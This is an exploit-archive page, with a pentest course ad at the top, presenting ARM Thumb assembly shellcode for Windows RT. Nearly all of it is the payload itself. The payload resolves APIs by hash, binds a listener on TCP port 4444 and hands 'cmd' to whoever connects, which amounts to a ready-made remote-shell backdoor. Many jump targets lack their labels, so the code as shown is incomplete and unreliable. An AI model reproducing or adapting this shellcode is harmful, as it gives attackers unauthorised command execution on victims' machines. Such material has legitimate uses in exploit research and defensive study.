Windows/ARM (RT) - Bind (4444/TCP) Shell Shellcode









Become a Certified Penetration Tester

Enroll in Penetration Testing with Kali Linux and pass the exam to become an Offensive Security Certified Professional (OSCP). All new content for 2020.

; Title:     Windows RT ARM Bind Shell (Port 4444)
; Date:      July 28, 2013
; Author:    Matthew Graeber (@mattifestation)
; Blog post:
; Tested on: Microsoft Surface RT Tablet w/ Windows RT (6.2.9200)
; License:   BSD 3-Clause
; Syntax:    MASM

; Notes: In order for this to work properly, you have to call this payload
;        at baseaddress + 1 since it is thumb code.
;        This was built with armasm.exe from Visual Studio 2012

	; After linking, the resulting executable will only
	; have a single section (with RX permissions) named .foo

	EXPORT	main

	push        {r4,lr}		; Preserve registers on the stack
	bl          ExecutePayload	; Execute bind shell function
	pop         {r4,pc}		; Restore registers on the stack and return to caller

; ARM (Thumb) implementation of the logic from the Metasploit x86 block_api shellcode
	push        {r1-r11,lr}		; Preserve registers on the stack
	mov         r9,r0		; Save the function hash in R9
	mrc         p15,#0,r3,c13,c0,#2	; R3 = &TEB
	ldr         r3,[r3,#0x30]	; R3 = &PEB
	ldr         r3,[r3,#0xC]	; R3 = PEB->Ldr
	movs        r6,#0		; R6 = 0
	ldr         r1,[r3,#0xC]	; R1 = Ldr->InLoadOrderModuleList
	ldr         r4,[r1,#0x18]	; R4 = LDR_DATA_TABLE_ENTRY.DllBase
	ldr         r3,[r1,#0x2C]	; R3 = LDR_DATA_TABLE_ENTRY.BaseDllName
	ldr         r7,[r1,#0x30]	; R7 = LDR_DATA_TABLE_ENTRY.BaseDllName.Buffer
	str         r3,[sp]		; Store BaseDllName.Length/MaximumLength on the stack
	cbz         r4,exit_failure	; If DllBase == 0, you've likely reached the end of the module list. Return 0.
	mov         r10,#0xD		; R10 = ROR value (13)
	mov         r11,#0xD		; R11 = ROR value (13)
get_module_hash     ; Improvement: Need to validate MaximumLength != 0
	ldrh        r5,[sp,#2]		; BaseDllName.MaximumLength
	movs        r2,#0		; i = 0
	cbz         r5,get_export_dir	; Reached the last char of BaseDllName
	ldrsb       r3,[r7,r2]		; R3 = (CHAR) *((PCSTR) BaseDllName.Buffer + i)
	rors        r0,r6,r10		; Calculate the next portion of the module hash
	cmp         r3,#0x61		; Is the character lower case?
	blt         notlowercase
	adds        r3,r3,r0		; Add to the running hash value
	subs        r6,r3,#0x20		; Convert character to upper case
	b           get_next_char
	adds        r6,r3,r0		; Add to the running hash value
	adds        r2,#1		; Move to the next character
	cmp         r2,r5		; Reached the last character in the module name?
	bcc         ror_module_char	; If not, move on to the next character
	; At this point, the module hash has been calculated.
	; Now begin calculating the function hash
	ldr         r3,[r4,#0x3C]	; IMAGE_DOS_HEADER.e_lfanew - i.e. offset to PE IMAGE_NT_HEADERS
	adds        r3,r3,r4		; PIMAGE_NT_HEADERS
	ldr         r3,[r3,#0x78]	; IMAGE_DIRECTORY_ENTRY_EXPORT.VirtualAddress (only an RVA at this point)
	cbz         r3,get_next_module	; Move to the next module if it doesn't have an export directory (i.e. most exe files)
	adds        r5,r3,r4		; Calculate export dir virtual address
	ldr         r3,[r5,#0x20]	; R3 = PIMAGE_EXPORT_DIRECTORY->AddressOfNames
	ldr         r7,[r5,#0x18]	; R7 = PIMAGE_EXPORT_DIRECTORY->NumberOfNames
	movs        r0,#0
	adds        r8,r3,r4		; AddressOfNames VA
	cbz         r7,get_next_module	; Move on to the next module if there are no exported names
	ldr         r3,[r8],#4		; R3 = Current name RVA
	movs        r2,#0
	adds        lr,r3,r4		; lr = Current name VA
	ldrsb       r3,[lr]		; Load char from the function name
	rors        r2,r2,r11		; Calculate the next portion of the function hash
	adds        r2,r2,r3		; Add to the running hash value
	ldrsb       r3,[lr],#1		; Peek at the next char
	cmp         r3,#0		; Are you at the end of the function string?
	bne         get_func_char	; If not, calculate hash for the next char.
	adds        r3,r2,r6		; Add the module hash to the function hash
	cmp         r3,r9		; Does the calulated hash match the hash provided?
	beq         get_func_addr
	adds        r0,#1
	cmp         r0,r7		; Are there more functions to process?
	bcc         calc_func_hash
	ldr         r1,[r1]		; LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Flink
	movs        r6,#0		; Clear the function hash
	; Improvement: The following portion is redundant
	ldr         r4,[r1,#0x18]	; R4 = LDR_DATA_TABLE_ENTRY.DllBase
	ldr         r3,[r1,#0x2C]	; R3 = LDR_DATA_TABLE_ENTRY.BaseDllName
	ldr         r7,[r1,#0x30]	; R7 = LDR_DATA_TABLE_ENTRY.BaseDllName.Buffer
	cmp         r4,#0		; DllBase == 0?
	str         r3,[sp]		; Store BaseDllName.Length/MaximumLength on the stack
	bne         get_module_hash
	movs        r0,#0		; Return 0 upon failure to find a matching hash
	pop         {r1-r11,pc}		; Restore stack and return to caller with the function address in R0
	ldr         r3,[r5,#0x24]	; R3 = PIMAGE_EXPORT_DIRECTORY->AddressOfNameOrdinals
	add         r3,r3,r0,lsl #1
	ldrh        r2,[r3,r4]		; R2 = Ordinal table index
	ldr         r3,[r5,#0x1C]	; R3 = PIMAGE_EXPORT_DIRECTORY->AddressOfFunctions
	add         r3,r3,r2,lsl #2
	ldr         r3,[r3,r4]		; Function RVA
	adds        r0,r3,r4		; R0 = Function VA
	b           exit_success

	; Improvement: None of the calls to GetProcAddress
	;  validate that a valid address was actually returned
	; Metasploit shellcode doesn't perform this validation either. :P
	push        {r4-r11,lr}		; Preserve registers on the stack
	subw        sp,sp,#0x214	; Allocate soace on the stack for local variables
	movs        r3,#0x44		; sizeof(_PROCESS_INFORMATION)
	add         r2,sp,#0x38		; R2 = &StartupInfo
	movs        r1,#0
	; Improvement: I could just initialize everything on the stack to 0
	strb        r1,[r2],#1		; Set current byte to 0
	subs        r3,#1
	bne         init_mem1
	movs        r3,#0x10		; sizeof(_STARTUPINFOW)
	add         r2,sp,#0x28		; R2 = &ProcessInformation
	strb        r1,[r2],#1		; Set current byte to 0
	subs        r3,#1
	bne         init_mem2

	ldr         r0,HASH_LoadLibraryA
	bl          GetProcAddress
	mov         r3,r0
	adr         r0,module_name	; &"ws2_32.dll"
	blx         r3			; LoadLibrary("ws2_32.dll");
	ldr         r0,HASH_WsaStartup
	bl          GetProcAddress
	mov         r4,r0
	ldr         r0,HASH_WsaSocketA
	bl          GetProcAddress
	mov         r5,r0
	ldr         r0,HASH_Bind
	bl          GetProcAddress
	mov         r6,r0
	ldr         r0,HASH_Listen
	bl          GetProcAddress
	mov         r7,r0
	ldr         r0,HASH_Accept
	bl          GetProcAddress
	mov         r8,r0
	ldr         r0,HASH_CloseSocket
	bl          GetProcAddress
	mov         r9,r0
	ldr         r0,HASH_CreateProcess
	bl          GetProcAddress
	mov         r10,r0
	ldr         r0,HASH_WaitForSingleObject
	bl          GetProcAddress
	mov         r11,r0
	mov         r0,#0x0202
	add         r1,sp,#0x80
	blx         r4			; WSAStartup(MAKEWORD(2, 2), &WSAData);
	movs        r3,#0
	movs        r2,#0
	movs        r1,#1
	movs        r0,#2
	str         r3,[sp,#4]
	str         r3,[sp]
	blx         r5			; s = WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
	movs        r3,#2		; service.sin_family = AF_INET;
	strh        r3,[sp,#0x18]
	movs        r3,#0		; service.sin_addr.s_addr = 0;
	str         r3,[sp,#0x1C]
	mov         r3,#0x5C11		; service.sin_port = HTONS(4444);
	movs        r2,#0x10
	add         r1,sp,#0x18
	strh        r3,[sp,#0x1A]
	mov         r5,r0		; WSASocketA returned socket (s)
	blx         r6			; Bind( s, (SOCKADDR *) &service, sizeof(service) );
	movs        r1,#0
	mov         r0,r5
	blx         r7			; Listen( s, 0 );
	movs        r2,#0
	movs        r1,#0
	mov         r0,r5
	blx         r8			; AcceptedSocket = Accept( s, 0, 0 );
	mov         r4,r0
	mov         r0,r5
	blx         r9			; CloseSocket( s ); Close the original socket
	mov         r3,#0x101		; StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
	str         r3,[sp,#0x64]
	movs        r3,#0x44		; StartupInfo.cb = 68;
	str         r3,[sp,#0x38]
	add         r3,sp,#0x28
	str         r3,[sp,#0x14]
	add         r3,sp,#0x38
	str         r3,[sp,#0x10]
	movs        r3,#0
	str         r3,[sp,#0xC]
	str         r3,[sp,#8]
	str         r3,[sp,#4]
	movs        r3,#1
	adr         r1,cmdline		; &"cmd"
	str         r3,[sp]
	movs        r3,#0
	movs        r2,#0
	movs        r0,#0
	str         r4,[sp,#0x78]	; StartupInfo.hStdError = (HANDLE) AcceptedSocket;
	str         r4,[sp,#0x74]	; StartupInfo.hStdOutput = (HANDLE) AcceptedSocket;
	str         r4,[sp,#0x70]	; StartupInfo.hStdInput = (HANDLE) AcceptedSocket;
	blx         r10			; CreateProcessA( 0, "cmd", 0, 0, TRUE, 0, 0, 0, &StartupInfo, &ProcessInformation );
	ldr         r0,[sp,#0x28]
	mvn         r1,#0
	blx         r11			; WaitForSingleObject( ProcessInformation.hProcess, INFINITE );
	addw        sp,sp,#0x214
	pop         {r4-r11,pc}

	DCD         0x601d8708
	DCD         0x863fcc79
	DCD         0x614d6e75
	DCD         0xe13bec74
	DCD         0xff38e9b7
	DCD         0x6737dbc2
	DCD         0xe0df0fea
	DCD         0x006b8029
	DCD         0x0726774c

	DCB "cmd", 0x0

	DCB "ws2_32.dll", 0x0